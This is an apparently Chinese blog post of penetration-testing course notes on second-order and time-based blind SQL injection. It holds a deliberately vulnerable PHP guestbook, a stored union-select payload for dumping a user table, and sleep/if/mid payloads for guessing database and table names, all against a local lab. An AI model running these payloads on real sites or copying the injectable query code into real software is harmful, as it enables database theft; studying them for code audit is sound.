美文网首页
小迪16期-20170403

小迪16期-20170403

作者: 无罪的坏人 | 来源:发表于2018-10-31 16:22 被阅读0次

    第七天:二次注入原理及演示(代码审计意义很大)

    二次注入代码审计解析

    盲注攻击 sleep if sql语句

    1.二次注入产生的地方:评论区或留言区,需要交互的地方。
    2.手工写一个二次注入的文件

    <form action="" method="post">
    标题:<input type="text" name="t"><br>
    内容:<input type="text" name="c"><br>
    作者:<input type="text" name="n"><br>
    <input type="submit" value="提交"><br>
    </form>
    
    <?php
    $name=$_POST['n'];
    $content=$_POST['c'];
    $title=$_POST['t'];
    
    //插入数据
    $conn=mysql_connect(127.0.0.1,'root','root');
    mysql_select_db("ercisqlin",$conn);
    $sql="INSERT INTO `gbook`(`name`, `title`, `content`) VALUES ('$name','$title','$content')";
    //mysql_query($sql);
    if(!empty($name)){
       mysql_query($sql);
    }
    
    //显示数据
    $conn1=mysql_connect('127.0.0.1','root','root');
    mysql_select_db("ercisqlin",$conn1);
    $sql1="select * from gbook";
    
    $result = mysql_query($sql1);
    while($row = mysql_fetch_array($result)){
        echo "用户:".$row['name']."<br >";
        echo "文章标题:".$row['title']."<br >";
        echo "文章内容:".$row['content']."<br >";
        $n=$row['name'];
        $sql2="select * from gbook where name='$n'";
        echo $sql2."<br >";;
    }
    
    mysql_close($conn);
    mysql_close($conn1);
    
    $sql="INSERT INTO `gbook`(`name`, `title`, `content`) VALUES ('$name','$title','$content')"; //发表评论
    $sql2="select * from gbook where name='$name'"; //匹配评论结果显示
    //二次注入的原理:
    //1.攻击语句写入到名字,名字接受的数据写入数据库
    //admin' union select 1,2,3,4 from user and '1'='1
    //2.评论或者留言展示出来
    //select * from gbook where name='admin' union select 1,2,3,4 from user and '1'='1';
    //这条语句前半部分执行成功,后半部分是把user表的数据都查出来了
    
    
    ?>
    
    
    image.png

    这样就把users表的数据都查出来了。

    盲注

    If(条件,执行,反之)
    Sleep(x) 执行x秒
    length(x) 函数是统计字符串的长度
    mid(x,第1位,1) 字符串截取
    ORD() 转换成ascii码

    获取长度,if判断成立


    if条件成立就5秒后显示结果.png

    http://127.0.0.1/sqlin/mysql/index.php?x=1 and sleep(if((select mid(database(),1,1)='s'),5,0))

    • 去猜表名
      select * from news where id=1 union select 1,2,sleep(if((mid(table_name,1,1)="a"),5,0)) from information_schema.tables where table_schema=database()

    相关文章

      网友评论

          本文标题:小迪16期-20170403

          本文链接:https://www.haomeiwen.com/subject/uvbatqtx.html